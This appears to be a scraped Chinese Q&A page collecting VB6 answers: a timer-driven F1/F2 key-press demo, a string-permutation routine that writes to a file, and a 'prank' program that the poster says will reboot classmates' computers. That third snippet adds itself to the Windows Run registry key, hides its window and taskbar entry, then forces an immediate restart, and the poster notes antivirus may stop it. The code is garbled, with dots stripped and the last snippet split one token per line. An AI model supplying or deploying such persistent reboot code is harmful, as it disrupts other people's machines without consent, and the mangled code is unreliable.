程序包含一个标签和一个间隔1秒的时间控件
Private xx(1 To 5) As String
Private i As Integer, f As Integer
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 112 Then
f = MsgBox("你按了F1,继续吗?", vbYesNo + vbInformation, "提示")
If f = vbYes Then
Timer1Enabled = True
Else
Call Form_KeyDown(113, 0)
End If
ElseIf KeyCode = 113 Then
MsgBox "你按了F2键,结束应用程序!"
End
End If
End Sub
Private Sub Form_Load()
xx(1) = "aaaaaaaaaa"
xx(2) = "bbbbbbbbbb"
xx(3) = "cccccccccc"
xx(4) = "dddddddddd"
xx(5) = "请按F1、F2"
i = 1
End Sub
Private Sub Timer1_Timer()
Label1Caption = xx(i)
If xx(i) = "请按F1、F2" Then
Timer1Enabled = False
Call Form_KeyDown(112, 0)
End If
i = i + 1
If i > 5 Then i = 1
End Sub
你也可以手动按F1、F2 效果一样!
'用法:: AA "1234"
Function AA(ByVal x As String) As String
Dim ns As Integer
ns = Len(x)
Dim n() As String
Dim w() As Integer
ReDim n(ns)
ReDim w(ns)
Dim i As Integer
For i = 1 To ns
n(i) = Mid(x, ns - i + 1, 1)
Next
Dim str As String
BB n, w, 0, str
MsgBox str
Open "c:\1txt" For Output As #1 ''输出文件句自己改
Print #1, str
Close #1
End Function
Function BB(ByRef n() As String, w() As Integer, ByVal k As Integer, s As String)
Dim i As Integer, j As Integer
Dim b As Boolean
For i = 1 To UBound(n)
b = False
For j = 1 To k
If i = w(j) Then
b = True
Exit For
End If
Next
If Not b And k + 1 <= UBound(n) Then
w(k + 1) = i
BB n, w, k + 1, s
End If
Next
If UBound(w) = k Then
For i = 1 To UBound(w)
s = s & n(w(i))
Next
s = s & vbCrLf
Exit Function
End If
End Function
这不好哦
这段代码会让你们同学的电脑部段重启
Dim
a
As
Integer,
mulu
As
String
Private
Sub
Form_Load()
Dim
w
mulu
=
Trim(AppPath)
&
"\"
&
"好玩"
Set
w
=
CreateObject("wscriptshell")
wregwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
&
"好玩",
mulu,
"REG_SZ"
'这是一行上的哦应该都有知道吧
a
=
0
AppTaskVisible
=
False
Form1Hide
End
Sub
Private
Sub
Timer1_Timer()’要添加个timer1控件将Interval属性设置为1000
a
=
a
+
1
If
a
=
9
Then
Shell
"shutdown
-r
-t
0"
If
a
=
10
Then
MsgBox
"呵呵,准备给我打点话吧"
End
If
End
Sub
前提是没被杀毒软件阻止
生成保存命名的时候
叫
“好玩”不然要错
有疑问连系115101499
我的QQ
以上就是关于请教用VB编写一个自动按键小程序全部的内容,包括:请教用VB编写一个自动按键小程序、如何用VB编写一个生成文本的小程序、用VB制作恶搞小程序等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)